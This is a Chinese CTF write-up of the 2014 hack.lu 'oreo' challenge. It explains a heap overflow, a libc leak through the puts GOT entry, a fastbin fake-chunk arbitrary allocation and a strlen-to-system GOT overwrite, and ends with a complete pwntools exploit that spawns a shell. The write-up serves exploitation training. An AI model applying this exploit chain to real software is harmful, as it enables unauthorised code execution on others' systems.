[Fastbin Attack] 2014 hack.lu oreo

0x00 前言

这是一道CTF-WIKI对于Fastbin Attack的一道例题,本题利用的技术:堆溢出、Fastbin Attack、Arbitrary Alloc

参考链接:

CTF-WIKI

看雪

这里感谢看雪论坛和CTF-WIKI的师傅的详细讲解。

题目下载地址:下载地址

0x01 分析

1
2
3
4
5
Arch:     i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

程序功能及漏洞分析

程序有6个基本功能

1
2
3
4
5
6
1. Add new rifle
2. Show added rifles
3. Order selected rifles
4. Leave a Message with your Order
5. Show current stats
6. Exit!

功能1. Add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned int add()
{
char *v1; // [esp+18h] [ebp-10h]
unsigned int v2; // [esp+1Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
v1 = buf;
buf = (char *)malloc(0x38u);
if ( buf )
{
*((_DWORD *)buf + 13) = v1; //NextChunk指针
printf("Rifle name: ");
fgets(buf + 25, 56, stdin);
sub_80485EC(buf + 25); // 将末尾换行符转换为\x00
printf("Rifle description: ");
fgets(buf, 56, stdin);
sub_80485EC(buf);
++riflesNum;
}
else
{
puts("Something terrible happened!");
}
return __readgsdword(0x14u) ^ v2;
}

可以看到,两次fgets都存在堆溢出,我们的name大小为27字节,description大小为25字节,但是却都允许输入56字节。

堆块最后四个字节存放的是指向下一个堆块的指针,记为next。

可以通过输入name来覆盖掉next。

当前步枪总数riflesNum位于bss段。

  • 功能2show rifles能打印出当前添加的所有步枪的name和description

  • 功能3order rifles能够free掉所有add时申请的chunk,但是却没有置为NULL

  • 功能4leave message能够向0x0804A2A8处的指针所指向的地址写入128个字节,注意这里是不是往0x0804A2A8位置写数据,而是往0x0804A2A8里面存的指针所指向的位置写128个字节的数据。

  • 功能5show stats能够打印出当前add的数量和order的数量以及message(如果有的话)

  • 功能6 Exit退出程序

分析完程序的功能了,可以发现漏洞点存在于add函数(堆溢出)和order函数(没置NULL)中。

这里我们主要利用add函数里面的堆溢出,配合Fastbin Attack、Arbitrary Alloc。

思路

既然我们能够通过堆溢出覆盖掉next指针,那我们可以把next覆盖成任意值,也就能指向任意位置,也就能通过2.show函数打印出任意位置的内容,实现任意读。

我们可以先通过这种这任意读来泄露libc地址,从而获得system函数地址。

而我们的4. leave message函数能够向0x0804A2A8处的指针所指向的地址写入128个字节,那么我们可以想办法修改0x0804A2A8处的指针,然后就能实现任意写。

可以通过这任意写来修改一些函数的got表,将其修改为system,进而想办法执行system(‘/bin/sh’),从而getshell。

这里还会有一些细节,等下会说。

0x02 Let’s do it!

前期模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

c = process('./oreo')
elf = ELF('./oreo')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#context.log_level = 'debug'
def add(name,des):
#c.recvuntil('Action',timeout = 0.5)
c.sendline('1')
#c.recvuntil('Rifle name',timeout = 0.5)
c.sendline(name)
#c.recvuntil('Rifle description',timeout = 0.5)
c.sendline(des)

def showrifles():
#c.recvuntil('Action: ',timeout = 0.5)
c.sendline('2')

def order():
#c.recvuntil('Action: ')
c.sendline('3')

def leavemsg(msg):
#c.recvuntil('Action: ')
c.sendline('4')
#c.recvuntil('with your order: ')
c.sendline(msg)

def showstatus():
#c.recvuntil('Action: ')
c.sendline('5')

message = 0x0804a2a8

比较诡异的是,如果加上了c.recvuntil,哪怕已经加上了timeout,程序也会卡住….看各位大佬的WP里面都没加recvuntil… 迷惑行为…

Leak libcbase

这里我们选择puts函数来进行泄露,这里有两个细节:

第一:

我们进行泄露的原理是: add一个步枪,通过堆溢出覆盖它的next为puts_got,然后show。

也就是说,这样程序会把从puts_got开始的0x38个字节当做一个chunk,而由add函数申请的chunk最后四个字节是代表next的,我们需要确保我们所选择的用来泄露的函数其got表对应next的位置(也就是从这个函数got表开始的0x35~0x38字节的位置)的内容应该是0,这样当我们order(也就是delete)的时候,不会有多余的堆块被释放。

第二:

根据linux延迟绑定机制,只有第一次运行后got表才会绑定该函数的实际内存地址

这里比较幸运,puts函数满足我们上面所说的小细节,而且程序一开始就已经调用过puts了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Leak 
puts_got = elf.got['puts']

des = 'a'*25
name = 'a'*27 + p32(puts_got)
add(name,des)
showrifles()

c.recvuntil('Description: ')
c.recvuntil('Description: ')
puts_addr = u32(c.recv(4).ljust(4,'\x00'))
log.success('puts_addr = ' + hex(puts_addr))
libcbase = puts_addr - libc.symbols['puts']
system = libcbase + libc.symbols['system']

想办法修改0x0804A2A8位置所存的指针

我们可以通过把0x0804A2A8附近伪造成一个chunk,然后利用Arbitrary alloc技术修改其存放的指针。

可以发现在 0x0804A2A8 - 4 = 0x0804A2A4 的位置存放的正好是当前add的步枪的总数

而正常的chunk(32位),在data区-4的位置,存放的正好就是chunk的size

由于Arbitrary alloc技术必然要先经过free掉这个伪造chunk,而程序的add功能申请的chunk的大小是0x38,加上chunk_head就是0x40大小,那么我们就把这个伪造chunk的size也设置成0x40就好了,设置的方法也很简单,总共add 40次就行了。

这里有个细节:为了我们执行order函数时不把那些不必要的chunk也都free进fastbin,我们把这些为了凑数而申请的chunk的next都覆盖成0

1
2
for i in range(0x40 - 1 - 1):
add('a'*27 + p32(0) ,str(i))

注意这里 0x40-1-1,因为最开始已经add了一个了,而且待会我们还要再add一个起关键功能的chunk,所以这里是0x40-1-1

我们还需要一个chunk来指向我们的伪造chunk,不然执行order的时候…伪造chunk不会被free进fastbin

1
2
payload = 'b'*27 + p32(message)
add(payload,'b')

算上刚刚这个,正好0x40个。

由于Arbitrary alloc技术还需要和伪造chunk物理相邻的下一个chunk的size满足不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem,我们来看

0x0804A2A8的位置在最开始存的指针是指向0x0804A2C0的,那么我们可以先leave message来修改伪造chunk的nextchunk(实际上这也是个伪造chunk,不是个真的chunk..)的size

0x0804A2C0 - 0x0804A2A8 = 24,也就是说有24个字节的间隔。

而伪造chunk的大小是0x38

我们0x38 - 24 = 0x20,我们只需要写0x20字节来先填充伪造chunk,然后就能修改nextchunk的prevsize和size了。

1
2
3
4
5
msg = 'a'*((0x38 - (0xc0 - 0xa8)) - 4) #padding
msg += p32(0) #fake_chunk's nextPtr
msg += 'prev' #prev_size
msg += p32(64) #nextchunk's size
leavemsg(msg)

这个size只要满足不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem就行。

构造完毕,我们来order一下

order函数比较巧妙,它会先free掉我们第0x40个add的chunk,然后根据第0x40个chunk的next找到我们的fakechunk再free掉,然后依次根据next找下去,可惜我们构造的fakechunk的next为0,这样方便再malloc。

来看一下结果

1
2
3
4
5
6
7
8
9
pwndbg> fastbin
fastbins
0x10: 0x0
0x18: 0x0
0x20: 0x0
0x28: 0x0
0x30: 0x0
0x38: 0x0
0x40: 0x804a2a0 —▸ 0x804d3d0 ◂— 0x0

可以看到我们伪造的fakechunk已经进入fastbin了,当我们再次add的时候会在原位置得到这个堆块,进而可以修改里面的内容。 咱们的目的是修改0x0804A2A8位置存放的指针。

为了方便getshell,我们这里选择了strlen函数,因为在sub_80485EC这个函数里面调用了它,比较好利用。

那么我们把0x0804A2A8存放的指针改成strlen_got吧

1
2
payload = p32(elf.got['strlen'])
add('padding',payload)

getshell

然后我们把strlen改成system

这里有大佬一气呵成,修改成system的同时也给它传入了参数/bin/sh,因为leavemessage函数里面也用了strlen函数这是我目前凭自己想不到的一点,还是太菜了。。。

先列一下大佬的方法吧

1
2
leavemsg(p32(system) + ';/bin/sh\x00')
c.interactive()

而我的方法比较笨一些,先将strlen修改成system,然后再add一个,在name或者description位置传入/bin/sh

1
2
3
4
leavemsg(p32(system))

add('/bin/sh\x00','/bin/sh\x00')
c.interactive()

0x03 完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *

c = process('./oreo')
elf = ELF('./oreo')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#context.log_level = 'debug'
def add(name,des):
#c.recvuntil('Action',timeout = 0.5)
c.sendline('1')
#c.recvuntil('Rifle name',timeout = 0.5)
c.sendline(name)
#c.recvuntil('Rifle description',timeout = 0.5)
c.sendline(des)

def showrifles():
#c.recvuntil('Action: ',timeout = 0.5)
c.sendline('2')

def order():
#c.recvuntil('Action: ')
c.sendline('3')

def leavemsg(msg):
#c.recvuntil('Action: ')
c.sendline('4')
#c.recvuntil('with your order: ')
c.sendline(msg)

def showstatus():
#c.recvuntil('Action: ')
c.sendline('5')

message = 0x0804a2a8


puts_got = elf.got['puts']

des = 'a'*25
name = 'a'*27 + p32(puts_got)
add(name,des)
showrifles()

c.recvuntil('Description: ')
c.recvuntil('Description: ')
puts_addr = u32(c.recv(4).ljust(4,'\x00'))
log.success('puts_addr = ' + hex(puts_addr))
libcbase = puts_addr - libc.symbols['puts']
system = libcbase + libc.symbols['system']


for i in range(0x40 - 1 - 1):
add('a'*27 + p32(0) ,str(i))

payload = 'b'*27 + p32(message)
add(payload,'b')

msg = 'a'*((0x38 - (0xc0 - 0xa8)) - 4) + p32(0) + 'prev' + p32(64)
leavemsg(msg)
order()

payload = p32(elf.got['strlen'])
add('b',payload)

#leavemsg(p32(system) + ';/bin/sh\x00')


leavemsg(p32(system))
add('/bin/sh\x00','/bin/sh\x00')


c.interactive()